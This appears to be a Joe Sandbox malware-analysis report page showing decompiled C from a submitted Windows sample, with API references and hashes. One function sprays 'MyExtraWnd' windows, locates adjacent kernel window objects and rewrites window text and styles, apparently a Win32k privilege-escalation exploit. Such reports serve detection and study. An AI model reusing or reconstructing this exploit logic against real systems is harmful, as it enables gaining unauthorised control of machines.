Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: InfoParametersSystem$ForegroundMessageSendWindow$Focus
String ID:
API String ID: 1107571394-0
Opcode ID: c43c0d85e6dd80115df916086cd6c71959c008e3f99a0bfc45891b2d20c03762
Instruction ID: 33d56f13c60f7bb8187af3e0106e7df99d4f26b8aa967ca8a14cb5b453aa20a7
Opcode Fuzzy Hash: c43c0d85e6dd80115df916086cd6c71959c008e3f99a0bfc45891b2d20c03762
Instruction Fuzzy Hash: F2113D70A84308BAF7209B909C86FAE7BBCEB04B11F104069FA04BA1C0CBF469059F61

Uniqueness

Uniqueness Score: -1.00%

Function 0093D740 Relevance: 10.7, APIs: 7, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E0093D740(intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16) {
				signed int _v8;
				intOrPtr _v1004;
				short _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				intOrPtr _v1020;
				intOrPtr _v1024;
				intOrPtr _v1028;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t47;
				intOrPtr _t49;
				int _t56;
				int _t58;
				intOrPtr _t60;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t86;
				void* _t88;
				intOrPtr _t89;
				intOrPtr _t104;
				void* _t110;
				void* _t111;
				intOrPtr _t115;
				signed int _t116;
				void* _t117;
				void* _t118;
				intOrPtr _t121;

				_t47 =  *0x943050; // 0xce43520a
				_v8 = _t47 ^ _t116;
				_t89 =  *0x958094;
				_t49 =  *0x958068;
				_t104 =  *((intOrPtr*)(_t89 + _t49));
				_v1020 =  *((intOrPtr*)(_t89 + _t49 + 4));
				_v1012 = 0xffffffff;
				_v1016 = 0xffffffff;
				_v1024 = _t104;
				E00935A90( &_v1008, 0, 0x3e8);
				_t118 = _t117 + 0xc;
				_v1008 = _a12;
				_v1004 = _a16;
				_t56 = lstrlenW( &_v1008);
				if(_t56 != 4) {
					_t115 = _t56 + _t56;
					_v1012 = _t115;
					 *((short*)(_t116 + _t115 - 0x3ec)) = 0x3333;
				}
				_t58 = lstrlenW( &_v1008);
				if(_t58 != 4) {
					_t86 = _t58 + _t58;
					_t121 = _t86;
					_v1016 = _t86;
					 *((short*)(_t116 + _t86 - 0x3ec)) = 0x3333;
				}
				_t88 = 1;
				_t111 = 8;
				_t23 = _t88 + 3; // 0x4
				_t110 = _t23;
				do {
					asm("adc eax, [ebp+0xc]");
					_t60 = E0093CEA0(_t121, _t111 + _a4, 0);
					_t118 = _t118 + 8;
					 *((intOrPtr*)(_t116 + _t111 - 0x3ec)) = _t60;
					 *((intOrPtr*)(_t116 + _t111 - 0x3e8)) = _t104;
					_t88 = _t88 + 1;
					_t111 = _t111 + 8;
					_t110 = _t110 + 4;
				} while (lstrlenW( &_v1008) >= _t110 && _t111 < 0x3e8);
				if(_t88 != 0x7d) {
					_push(_a8);
					_push(_a4);
					asm("sbb esi, ecx");
					_push( *0x958098 +  *0x958068 -  *0x9580a0);
					asm("adc eax, esi");
					_v1028 =  *0x95809c;
					_push( *0x958080);
					_push( *0x9441ec);
					L009310C5();
					SetWindowTextW( *0x958090,  &_v1008);
					_t70 = _v1016;
					__eflags = _t70 - 0xffffffff;
					if(_t70 != 0xffffffff) {
						__eflags = 0;
						 *((short*)(_t116 + _t70 - 0x3ec)) = 0;
						SetWindowTextW( *0x958090,  &_v1008);
					}
					_t71 = _v1012;
					__eflags = _t71 - 0xffffffff;
					if(_t71 != 0xffffffff) {
						__eflags = 0;
						 *((short*)(_t116 + _t71 - 0x3ec)) = 0;
						SetWindowTextW( *0x958090,  &_v1008);
					}
					_push(_v1020);
					_push(_v1024);
					asm("sbb esi, ecx");
					_push( *0x958098 +  *0x958068 -  *0x9580a0);
					asm("adc eax, esi");
					_v1028 =  *0x95809c;
					_push( *0x958080);
					L009310C5();
					__eflags = _v8 ^ _t116;
					return E0093161C(_t88, _v8 ^ _t116,  *0x958068 -  *0x9580a0, _t110, 0,  *0x9441ec);
				} else {
					return E0093161C(_t88, _v8 ^ _t116, _t104, _t110, _t111);
				}
			}

0x0093d749
0x0093d750
0x0093d753
0x0093d759
0x0093d761
0x0093d76d
0x0093d77c
0x0093d786
0x0093d790
0x0093d796
0x0093d79e
0x0093d7a7
0x0093d7b0
0x0093d7bd
0x0093d7c7
0x0093d7c9
0x0093d7cc
0x0093d7d2
0x0093d7d2
0x0093d7e1
0x0093d7e6
0x0093d7e8
0x0093d7e8
0x0093d7ea
0x0093d7f0
0x0093d7f0
0x0093d7f8
0x0093d7fd
0x0093d802
0x0093d802
0x0093d805
0x0093d80c
0x0093d811
0x0093d816
0x0093d819
0x0093d826
0x0093d82d
0x0093d82e
0x0093d831
0x0093d83b
0x0093d84a
0x0093d872
0x0093d877
0x0093d87a
0x0093d889
0x0093d88a
0x0093d88c
0x0093d897
0x0093d898
0x0093d89e
0x0093d8b6
0x0093d8b8
0x0093d8be
0x0093d8c1
0x0093d8c3
0x0093d8c5
0x0093d8da
0x0093d8da
0x0093d8dc
0x0093d8e2
0x0093d8e5
0x0093d8e7
0x0093d8e9
0x0093d8fe
0x0093d8fe
0x0093d913
0x0093d91b
0x0093d921
0x0093d930
0x0093d931
0x0093d933
0x0093d93e
0x0093d945
0x0093d954
0x0093d95f
0x0093d84e
0x0093d85e
0x0093d85e

APIs

_memset.LIBCMT ref: 0093D796
lstrlenW.KERNEL32(?,-000000D0), ref: 0093D7BD
lstrlenW.KERNEL32(?), ref: 0093D7E1
lstrlenW.KERNEL32(?), ref: 0093D835
SetWindowTextW.USER32(?,?), ref: 0093D8B6
SetWindowTextW.USER32(?,?), ref: 0093D8DA
SetWindowTextW.USER32(?,?), ref: 0093D8FE

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: TextWindowlstrlen$_memset
String ID:
API String ID: 2993350514-0
Opcode ID: d8a2fb2aa16799cd0dc75827ec5951c57dd2043ee17740eb811c4c3a430f2912
Instruction ID: 3bb77a7ece29cb74d0f1637e18d13cccaf0be62cea509768ddd51f90edb03fc4
Opcode Fuzzy Hash: d8a2fb2aa16799cd0dc75827ec5951c57dd2043ee17740eb811c4c3a430f2912
Instruction Fuzzy Hash: 68518075A242589FCB15CF78EC90AAE73FDFB48310F1446AAE50DE7290DA309E459F50

Uniqueness

Uniqueness Score: -1.00%

Function 0093D23C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 132
registryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0093D23C(intOrPtr __edx) {
				struct HWND__* _t82;
				signed int _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				struct HWND__* _t90;
				intOrPtr _t92;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t144;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr _t149;
				void* _t150;
				intOrPtr _t151;
				void* _t153;
				intOrPtr _t160;
				intOrPtr _t163;
				intOrPtr _t165;
				struct HWND__* _t167;
				void* _t168;
				signed int _t171;
				intOrPtr _t176;
				int _t177;
				void* _t178;
				signed int _t179;
				signed int _t180;
				struct _SECURITY_ATTRIBUTES* _t181;
				signed int _t185;
				void* _t203;
				void* _t205;

				_t165 = __edx;
				 *(_t185 - 4) = 0xfffffffe;
				_t167 =  *(_t185 - 0xbf4);
				_t149 =  *((intOrPtr*)(_t185 - 0xbf8));
				_t176 =  *((intOrPtr*)(_t185 - 0xbf0)) + 1;
				while(1) {
					 *((intOrPtr*)(_t185 - 0xbf0)) = _t176;
					if(_t176 >= 0xa) {
						break;
					}
					 *(_t185 - 4) = 0;
					_push(0xdddddddd);
					_push(0xcccccccc);
					_push(0xfffffff4);
					_push(_t167);
					_t144 =  *0x9441ec; // 0x1471
					_push(_t144 - _t176);
					L009310C5();
					if( *((intOrPtr*)(_t149 + 0xc0)) == 0) {
						 *(_t185 - 4) = 0xfffffffe;
						_t176 = _t176 + 1;
						continue;
					}
					_t147 =  *0x9441ec; // 0x1471
					_t148 = _t147 - _t176;
					 *0x9441ec = _t148;
					_t177 = 1;
					 *(_t185 - 0xbfc) = 1;
					if(_t148 == 0x1471) {
						 *0x958070 =  *0x958070 - 8;
					}
					 *(_t185 - 4) = 0xfffffffe;
					L8:
					DestroyWindow(_t167);
					if(_t177 == 0 ||  *0x958060 == 0 ||  *0x958064 == 0) {
						L52:
						goto L53;
					} else {
						memset(_t185 - 0x7ec, 0x610061, 0x64 << 2);
						 *((short*)(_t185 - 0x1e)) = 0;
						 *(_t185 - 0xc38) = 0x30;
						 *((intOrPtr*)(_t185 - 0xc34)) = 0;
						 *((intOrPtr*)(_t185 - 0xc30)) = DefWindowProcW;
						 *(_t185 - 0xc2c) = 0;
						 *(_t185 - 0xc28) = 0;
						 *(_t185 - 0xc24) =  *0x9580b8;
						asm("xorps xmm0, xmm0");
						asm("movdqu [ebp-0xc20], xmm0");
						 *((intOrPtr*)(_t185 - 0xc10)) = L"MyExtraWnd";
						 *(_t185 - 0xc0c) = 0;
						if(RegisterClassExW(_t185 - 0xc38) == 0) {
							goto L52;
						}
						E00935A90(_t185 - 0xbec, 0, 0x400);
						_t171 = 0;
						while(1) {
							_t82 = CreateWindowExW(0, L"MyExtraWnd", _t185 - 0x7ec, 0, 0, 0, 0, 0, 0, 0,  *0x9580b8, 0);
							 *(_t185 + _t171 * 4 - 0xbec) = _t82;
							if(_t82 == 0) {
								break;
							}
							_t171 = _t171 + 1;
							if(_t171 < 0x100) {
								continue;
							}
							break;
						}
						_t83 = 0;
						 *(_t185 - 0xbf4) = 0;
						do {
							_t179 = 0;
							_t84 =  *((intOrPtr*)(_t185 + _t83 * 4 - 0xbec));
							 *((intOrPtr*)(_t185 - 0xbf0)) =  *((intOrPtr*)(_t185 + _t83 * 4 - 0xbec));
							while(1) {
								_t85 = E0093C750(_t84);
								_t151 =  *((intOrPtr*)(_t85 + 0x20));
								 *((intOrPtr*)(_t185 - 0xc08)) = _t151;
								 *((intOrPtr*)(_t185 - 0xc00)) =  *((intOrPtr*)(_t85 + 0x24));
								_t87 = E0093C750( *((intOrPtr*)(_t185 + _t179 * 4 - 0xbec)));
								_t160 =  *((intOrPtr*)(_t87 + 0x20));
								 *((intOrPtr*)(_t185 - 0xc04)) = _t160;
								_t165 =  *((intOrPtr*)(_t87 + 0x24));
								 *((intOrPtr*)(_t185 - 0xbf8)) = _t165;
								_t88 =  *((intOrPtr*)(_t185 - 0xc00));
								_t203 = _t88 - _t165;
								if(_t203 > 0 || _t203 >= 0 && _t151 >= _t160) {
									goto L23;
								}
								L20:
								_t165 = _t160 + 0x300;
								asm("adc ecx, 0x0");
								_t153 = _t151 + 0x40000;
								asm("adc eax, 0x0");
								_t205 = _t88 -  *((intOrPtr*)(_t185 - 0xbf8));
								if(_t205 > 0 || _t205 >= 0 && _t153 > _t165) {
									 *0x958080 =  *((intOrPtr*)(_t185 - 0xbf0));
									 *0x958090 =  *((intOrPtr*)(_t185 + _t179 * 4 - 0xbec));
									 *0x958084 = E0093C750( *((intOrPtr*)(_t185 - 0xbf0)));
									 *0x958094 = E0093C750( *((intOrPtr*)(_t185 + _t179 * 4 - 0xbec)));
									 *0x958088 =  *((intOrPtr*)(_t185 - 0xc08));
									 *0x95808c =  *((intOrPtr*)(_t185 - 0xc00));
									 *0x958098 =  *((intOrPtr*)(_t185 - 0xc04));
									 *0x95809c =  *((intOrPtr*)(_t185 - 0xbf8));
									_t163 =  *0x958084;
									 *0x9580a8 =  *((intOrPtr*)(_t163 + 0x10));
									 *0x9580ac =  *((intOrPtr*)(_t163 + 0x14));
									asm("adc ecx, 0x0");
									asm("adc ecx, 0xffffffff");
									 *0x9580a0 =  *0x958088 +  *0x958060 + 0xfffffff8;
									 *0x9580a4 =  *0x95808c;
									L26:
									if( *0x958080 == 0 ||  *0x958090 == 0) {
										break;
									} else {
										goto L29;
									}
								}
								L23:
								_t179 = _t179 + 1;
								if(_t179 > _t171) {
									goto L26;
								}
								_t84 =  *((intOrPtr*)(_t185 - 0xbf0));
								_t85 = E0093C750(_t84);
								_t151 =  *((intOrPtr*)(_t85 + 0x20));
								 *((intOrPtr*)(_t185 - 0xc08)) = _t151;
								 *((intOrPtr*)(_t185 - 0xc00)) =  *((intOrPtr*)(_t85 + 0x24));
								_t87 = E0093C750( *((intOrPtr*)(_t185 + _t179 * 4 - 0xbec)));
								_t160 =  *((intOrPtr*)(_t87 + 0x20));
								 *((intOrPtr*)(_t185 - 0xc04)) = _t160;
								_t165 =  *((intOrPtr*)(_t87 + 0x24));
								 *((intOrPtr*)(_t185 - 0xbf8)) = _t165;
								_t88 =  *((intOrPtr*)(_t185 - 0xc00));
								_t203 = _t88 - _t165;
								if(_t203 > 0 || _t203 >= 0 && _t151 >= _t160) {
									goto L23;
								}
							}
							_t83 =  &( *(_t185 - 0xbf4)->i);
							 *(_t185 - 0xbf4) = _t83;
						} while (_t83 <= _t171);
						L29:
						_t180 = 0;
						do {
							_t90 =  *(_t185 + _t180 * 4 - 0xbec);
							if(_t90 !=  *0x958080 && _t90 !=  *0x958090) {
								DestroyWindow(_t90);
							}
							_t180 = _t180 + 1;
						} while (_t180 < 0x100);
						if( *0x958080 == 0 ||  *0x958090 == 0) {
							goto L52;
						} else {
							if( *0x95807c != 0) {
								L51:
								L53:
								 *[fs:0x0] =  *((intOrPtr*)(_t185 - 0x10));
								_pop(_t168);
								_pop(_t178);
								_pop(_t150);
								return E0093161C(_t150,  *(_t185 - 0x1c) ^ _t185, _t165, _t168, _t178);
							}
							while(1) {
								_t92 =  *0x944244; // 0xa
								if( *0x9580bc >= _t92) {
									goto L51;
								}
								 *0x9580d4 = 0;
								 *0x9580d8 = 0;
								 *0x9580d0 = 0;
								if( *0x95807c != 0) {
									L50:
									 *0x9580bc =  *0x9580bc + 1;
									if( *0x95807c == 0) {
										continue;
									}
									goto L51;
								}
								_t181 = 0;
								 *0x9580c0 = CreateThread(0, 0, E0093C970, 0, 0, 0);
								while( *0x9580d0 == 0) {
									_t181 =  &(_t181->nLength);
									Sleep(0x32);
									if(_t181 < 0x14) {
										continue;
									}
									break;
								}
								if(_t181 >= 0x14) {
									DestroyWindow( *0x9580d4);
									DestroyWindow( *0x9580d8);
									TerminateThread( *0x9580c0, 0xffffffff);
								} else {
									_t101 =  *0x94424c; // 0x1388
									_t103 =  *0x944248; // 0x1388
									 *0x9580d8 = CreateWindowExW(0x80000, L"MyMainWnd", 0, 0x10000000, _t103 + 1, _t101 + 1, 1, 1, 0, 0,  *0x9580b8, 0);
									if( *0x9580d8 != 0) {
										asm("adc edi, 0x0");
										asm("adc edi, 0x0");
										asm("adc edi, 0xffffffff");
										SetWindowLongW( *0x9580d8, 0xfffffff0, GetWindowLongW( *0x9580d8, 0xfffffff0) | 0x40000000);
										_push( *0x95808c);
										_push( *0x958088 +  *0x958064 + 3 - 0x28);
										_push(0xfffffff4);
										_push( *0x9580d8);
										_push( *0x9441ec);
										L009310C5();
										keybd_event(0x12, 0, 0, 0);
										keybd_event(0x1b, 0, 0, 0);
										keybd_event(0x1b, 0, 2, 0);
										keybd_event(0x12, 0, 2, 0);
										Sleep(0x64);
									}
									DestroyWindow( *0x9580d4);
									DestroyWindow( *0x9580d8);
									TerminateThread( *0x9580c0, 0xffffffff);
									WaitForSingleObject( *0x9580c0, 0xffffffff);
									if( *0x95807c == 0 &&  *((intOrPtr*)( *0x958084 +  *0x958064)) >= 0x4000000) {
										 *0x95807c = E0093C820();
									}
								}
								goto L50;
							}
							goto L51;
						}
					}
				}
				_t177 =  *(_t185 - 0xbfc);
				goto L8;
			}

0x0093d23c
0x0093d23f
0x0093d246
0x0093d24c
0x0093d258
0x0093d1c5
0x0093d1c5
0x0093d1ce
0x00000000
0x00000000
0x0093d1d4
0x0093d1db
0x0093d1e0
0x0093d1e5
0x0093d1e7
0x0093d1e8
0x0093d1ef
0x0093d1f0
0x0093d1fc
0x0093d22c
0x0093d233
0x00000000
0x0093d233
0x0093d1fe
0x0093d203
0x0093d205
0x0093d20a
0x0093d20f
0x0093d21a
0x0093d21c
0x0093d21c
0x0093d223
0x0093d271
0x0093d272
0x0093d27a
0x0093d71c
0x00000000
0x0093d29a
0x0093d2aa
0x0093d2ae
0x0093d2b2
0x0093d2bc
0x0093d2c7
0x0093d2cd
0x0093d2d7
0x0093d2e6
0x0093d2ec
0x0093d2ef
0x0093d2f7
0x0093d301
0x0093d31b
0x00000000
0x00000000
0x0093d32f
0x0093d337
0x0093d340
0x0093d364
0x0093d36a
0x0093d373
0x00000000
0x00000000
0x0093d375
0x0093d37c
0x00000000
0x00000000
0x00000000
0x0093d37c
0x0093d37e
0x0093d380
0x0093d390
0x0093d390
0x0093d392
0x0093d399
0x0093d3a0
0x0093d3a1
0x0093d3a6
0x0093d3a9
0x0093d3b2
0x0093d3bf
0x0093d3c4
0x0093d3c7
0x0093d3cd
0x0093d3d0
0x0093d3d6
0x0093d3dc
0x0093d3de
0x00000000
0x00000000
0x0093d3e6
0x0093d3e8
0x0093d3f4
0x0093d3f7
0x0093d3fd
0x0093d400
0x0093d402
0x0093d421
0x0093d42d
0x0093d439
0x0093d444
0x0093d44f
0x0093d45a
0x0093d465
0x0093d470
0x0093d475
0x0093d47e
0x0093d486
0x0093d49c
0x0093d4a2
0x0093d4a5
0x0093d4aa
0x0093d4b0
0x0093d4b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0093d4b7
0x0093d40a
0x0093d40a
0x0093d40d
0x00000000
0x00000000
0x0093d413
0x0093d3a1
0x0093d3a6
0x0093d3a9
0x0093d3b2
0x0093d3bf
0x0093d3c4
0x0093d3c7
0x0093d3cd
0x0093d3d0
0x0093d3d6
0x0093d3dc
0x0093d3de
0x00000000
0x00000000
0x0093d3de
0x0093d4c8
0x0093d4c9
0x0093d4cf
0x0093d4d7
0x0093d4d7
0x0093d4e0
0x0093d4e0
0x0093d4f3
0x0093d4fe
0x0093d4fe
0x0093d500
0x0093d501
0x0093d510
0x00000000
0x0093d523
0x0093d52a
0x0093d70e
0x0093d71e
0x0093d721
0x0093d729
0x0093d72a
0x0093d72b
0x0093d739
0x0093d739
0x0093d540
0x0093d540
0x0093d54b
0x00000000
0x00000000
0x0093d551
0x0093d55b
0x0093d565
0x0093d576
0x0093d6fb
0x0093d6fb
0x0093d708
0x00000000
0x00000000
0x00000000
0x0093d708
0x0093d57c
0x0093d58e
0x0093d593
0x0093d59c
0x0093d59f
0x0093d5a4
0x00000000
0x00000000
0x00000000
0x0093d5a4
0x0093d5a9
0x0093d6e3
0x0093d6eb
0x0093d6f5
0x0093d5af
0x0093d5bf
0x0093d5c6
0x0093d5e4
0x0093d5f0
0x0093d607
0x0093d60d
0x0093d616
0x0093d635
0x0093d63b
0x0093d63c
0x0093d63d
0x0093d644
0x0093d645
0x0093d64b
0x0093d65e
0x0093d668
0x0093d672
0x0093d67c
0x0093d680
0x0093d682
0x0093d68e
0x0093d696
0x0093d6a0
0x0093d6ae
0x0093d6bb
0x0093d6d6
0x0093d6d6
0x0093d6bb
0x00000000
0x0093d5a9
0x00000000
0x0093d540
0x0093d510
0x0093d27a
0x0093d25e
0x00000000

APIs

DestroyWindow.USER32(00000000,00000000), ref: 0093D272
RegisterClassExW.USER32 ref: 0093D312
_memset.LIBCMT ref: 0093D32F
CreateWindowExW.USER32 ref: 0093D364

Strings

0, xrefs: 0093D2B2
MyExtraWnd, xrefs: 0093D2F7, 0093D35D

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$ClassCreateDestroyRegister_memset
String ID: 0$MyExtraWnd
API String ID: 1202089904-2557349926
Opcode ID: 55d13bfbd1b3ce77648fd224a4d08d56906817319b1023e615bc7aa8d9573179
Instruction ID: a8a16464dd274189160ad2c12ede99c90be7cc85da6ea8b386bb9168aa5734fa
Opcode Fuzzy Hash: 55d13bfbd1b3ce77648fd224a4d08d56906817319b1023e615bc7aa8d9573179
Instruction Fuzzy Hash: F95170B4D153298BEB20CF68EC54BEEB7B8BB49304F1442E5E419A7290DB745E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00931CAC Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00931CAC(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00931E5B(_t3);
				if(E009334FF() != 0) {
					_t6 = E00933010(E00931A3D);
					 *0x943000 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E00933585(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E00931D22();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E0093306C( *0x943000, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E00931BF9(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00931D22();
					return 0;
				}
			}

0x00931cac
0x00931cb8
0x00931cc7
0x00931ccc
0x00931cd2
0x00931cd5
0x00000000
0x00931cd7
0x00931ce4
0x00931ce8
0x00931cea
0x00931d19
0x00931d19
0x00931d1e
0x00931d21
0x00931cec
0x00931cfa
0x00931cfc
0x00000000
0x00931cfe
0x00931cfe
0x00931d00
0x00931d01
0x00931d08
0x00931d0e
0x00931d12
0x00931d16
0x00931d18
0x00931d18
0x00931cfc
0x00931cea
0x00931cba
0x00931cba
0x00931cba
0x00931cc1
0x00931cc1

APIs

__init_pointers.LIBCMT ref: 00931CAC

Part of subcall function 00931E5B: RtlEncodePointer.NTDLL(00000000,?,00931CB1,00931509,00941E70,00000014), ref: 00931E5E
Part of subcall function 00931E5B: __initp_misc_winsig.LIBCMT ref: 00931E79
Part of subcall function 00931E5B: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00933103
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00933117
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0093312A
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0093313D
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00933150
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00933163
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00933176
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00933189
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0093319C
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 009331AF
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 009331C2
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 009331D5
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 009331E8
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 009331FB
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0093320E
Part of subcall function 00931E5B: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00933221

__mtinitlocks.LIBCMT ref: 00931CB1
__mtterm.LIBCMT ref: 00931CBA

Part of subcall function 00931D22: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00931CBF,00931509,00941E70,00000014), ref: 00933419
Part of subcall function 00931D22: _free.LIBCMT ref: 00933420
Part of subcall function 00931D22: DeleteCriticalSection.KERNEL32(00943068,?,?,00931CBF,00931509,00941E70,00000014), ref: 00933442

__calloc_crt.LIBCMT ref: 00931CDF
__initptd.LIBCMT ref: 00931D01
GetCurrentThreadId.KERNEL32 ref: 00931D08

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 948851e8e09014f6185ba5913ffc412b540aa849da5d95d2e66fb29414563a86
Instruction ID: 479f583cc49e48c8524163ef838867f323fdbd6ff3df8c80b077eba20de54e58
Opcode Fuzzy Hash: 948851e8e09014f6185ba5913ffc412b540aa849da5d95d2e66fb29414563a86
Instruction Fuzzy Hash: A0F0B43659971119E2387B747C03B5B2A99DF82734F208B29F4A5C50F2FF11C9425D94

Uniqueness

Uniqueness Score: -1.00%

Function 0093BFE0 Relevance: 9.1, APIs: 6, Instructions: 61
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0093BFE0(struct HWND__* _a4) {
				int _v8;
				void _v12;
				struct HWND__* _t12;
				int _t16;
				int _t18;
				int _t22;
				struct HWND__* _t24;

				_t12 = GetForegroundWindow();
				_t24 = _a4;
				if(_t12 == _t24) {
					return _t12;
				}
				_t22 = 0;
				_v12 = 8;
				_v8 = 0;
				if(SystemParametersInfoW(0x48, 8,  &_v12, 0) != 0) {
					_t18 = _v8;
					if(_t18 != 0) {
						_t22 = _t18;
						_v12 = 8;
						_v8 = 0;
						SystemParametersInfoW(0x49, 8,  &_v12, 0);
					}
				}
				SendMessageW(_t24, 0x112, 0xf020, 0);
				_t16 = SendMessageW(_t24, 0x112, 0xf120, 0);
				if(_t22 != 0) {
					_v12 = 8;
					_v8 = _t22;
					_t16 = SystemParametersInfoW(0x49, 8,  &_v12, 0);
				}
				return _t16;
			}

0x0093bfe7
0x0093bfed
0x0093bff2
0x0093c086
0x0093c086
0x0093c003
0x0093c005
0x0093c012
0x0093c019
0x0093c01b
0x0093c020
0x0093c024
0x0093c026
0x0093c030
0x0093c03c
0x0093c03c
0x0093c020
0x0093c051
0x0093c060
0x0093c064
0x0093c06b
0x0093c077
0x0093c07a
0x0093c07a
0x00000000

APIs

GetForegroundWindow.USER32(?,?), ref: 0093BFE7
SystemParametersInfoW.USER32 ref: 0093C015
SystemParametersInfoW.USER32 ref: 0093C03C
SendMessageW.USER32(?,00000112,0000F020,00000000), ref: 0093C051
